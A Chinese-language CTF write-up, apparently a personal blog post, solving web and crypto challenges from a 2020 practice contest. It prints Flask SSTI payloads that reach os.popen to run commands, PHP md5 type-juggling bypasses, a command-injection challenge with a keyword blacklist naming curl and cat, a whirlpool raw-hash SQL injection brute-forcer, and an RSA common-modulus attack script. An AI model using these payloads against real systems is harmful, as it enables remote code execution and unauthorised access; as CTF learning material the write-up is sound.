2020安恒二月抗疫练习赛web-crypto writeup


Web

web1
考flask,ssti,加/2后有会显2,测试过滤了下划线,点,当时没有做出来。这里给出网上收集的一些payload,记录一下。具体可以看这里 传送门

{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[30]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]['\x5f\x5fimport\x5f\x5f']('os')["popen"]('cat /flag*')['read']()}}    //    \x5f是_
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /flag').read()

web2
是md5的一些绕过,昨天下午在上课,忘记复制源码,这题和2019掘安杯web7差不多,源码差不多是这样

<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_alnum($a)) || (strlen($a) > 5) || !(ctype_alnum($b)) || (strlen($b) > 6)) {
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 1) || (strlen($n) > 1)) {
    echo "m OR n fail";
    die();
}

$val8 = md5($a);
$val9 = strtr(md5($b), $m, $n);

echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5)) {
    echo "nice,good job,give you flag:";
    echo file_get_contents('./flag.php');
}

str1,str2,str3,str4都可以用数组绕过,str5,str6,str7是转换类型的强判断,网上有很多类似的文章解决方法,可以看这篇文章 传送门,这样就可以构造出str5,str6,str7。后面这一段很明显是要用0e的比较方法,限制条件是a必须是字母或数字且a的长度不大于5,b必须为字母或数字且b的长度为5,md5($b)可以改变1个字符,脚本如下。

import hashlib

dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()
for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                for e in dic:
                    f=a + b + c + d + e
                    T = md5(f)
                    if((T)[0:2]=='0e' and (T)[3:].isdigit()):
                        print(f)
                        brea
//改变一个字符可以随便放宽一个字符的要求即可

web3
命令执行,这道我没看到就已经没了,被别人删题了,看了一下别人发的源码,很简单,很多方法绕过

<html>
<body>
<h3>This is the command practice</h3>  
<form action="index.php" method="post">
<input value="" name='cmd'>
<input type="submit" value="Submit" />
</form>

<?php
$cmd=$_POST['cmd'];
$blacklist="cat|\/|cd|flag|curl|{|\(|'|\"|echo|\\\\|&|grep|base64";
$arr=explode('|',$blacklist);
foreach ($arr as $key => $value) {
    #var_dump($value);
    if (preg_match("/$value/i", $cmd)) {
    exit('hacker~~~');
    }
}
system($cmd);

?>
</html>

直接cmd=more *就可以了。

web4
代码如下,构造注入,原题来自,hash(“whirlpool”,$ps, true);true表示是用原始二进制格式的字符串,所以这里存在注入,若原始二进制格式的字符串含有’=’就可以返回true,登录成功。写题时只想到了’or’,没有找到答案,但是用’=’很快就找到了答案,爆破php脚本如下。

$ps = mysql_real_escape_string($ps);
$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");
<?php
$pass=1;
for ($i=1; $i<=1000000; $i++) {
    $pass++;
    $pw = hash("whirlpool", $pass, true);
    if (strpos($pw, '\'=\'') !== false) {
        var_dump($pass);
        var_dump($pw);

    }
}

Crypto

crypto1
考古典密码,凯撒密码,摩斯密码,栅栏密码

crypto2
考rsa,共模攻击,脚本如下

from Crypto.Util.number import *
import gmpy2
n = 21550279102644053137401794357450944302610731390301294678793250727396089358072700658571260795910112265309568014296122288384516447895827201111531054386530016432904989927216701507587366446802666848322853781729905492728655474832512381505627940555854308364578108265962388044363133246414753768229564846275154311898383993892293297122428661960946207950994560898964054913194462187242818633295970027741085201122155726130759045957757833942616544066055081600792366411691979350744894938994915328874600229684477533220240489600171746943849179803693122081888324258987779131223150589953248929679931142134208151043000793272520874205933
e1 = 65537
e2 = 11187289
c1 = 3398498381912395819190972489172462865619978412426461006637853132394421358554444085509204376417687407497725837275868696481008111895766215578504776574832032556271718345687763315140723387608016365200919607751172500433727679269003098314988424638473027123820847847826679169000817669427223462669128173658466684135284118199815059085013479646863344355311315928713888347485004116168388822942797985291207722712351376891776564431593839662958249777540851019964959285093222467104765037231393043482615879794268339523066822738215251088897330388858109680412562153811860413533184870172160079371279534423386236128033224501238509297353
c2 = 3466733921305804638105947202761163747472618602445995245253771384553216569474005211746398256742813639292824489920799418551206486872148557599625985549276697777903434273072767901043963396047653458242735767809413051298636887840641872939342025101757793615068691040228073377366562557622977332819376942596081135968249279010542277871138668977160241877260538203101507006391433015105607006204397243716334344883925947719719479074061998068934050946968531874465924912747079003982022188875112147185558223515367430238618463189740762128953957802291125793882636020335117593003197811477506533564676975831899876919568948425610130348710
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
    s = -s
    c1 = gmpy2.invert(c1, n)
if t < 0:
    t = -t
    c2 = gmpy2.invert(c2, n)
m = gmpy2.powmod(c1, s, n) * gmpy2.powmod(c2, t, n) % n
print(long_to_bytes(m))

Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
面试 面试
前言:在此记录平时看到的一些面试问题,为以后面试做准备,也巩固一下基础。 编程语言与操作系统: Python 3与Python 2的区别,进行了哪些优化,增加了什么新特性 print,在python3中是一个函数,在python2中是一个
2020-03-05 LiM
Next 
BJDCTF2020部分wp BJDCTF2020部分wp
前言:最近真的太颓废了,天天啥也不想干,这个比赛之前有人问过我一些题目,挺简单的,这里简单记录一下。 web1.Easy MD5查看响应包,看到这条查询语句,可存在注入。输入ffifdyop即可登录,ffifdyop对应md5转字符串会有’
2020-02-08 LiM
  TOC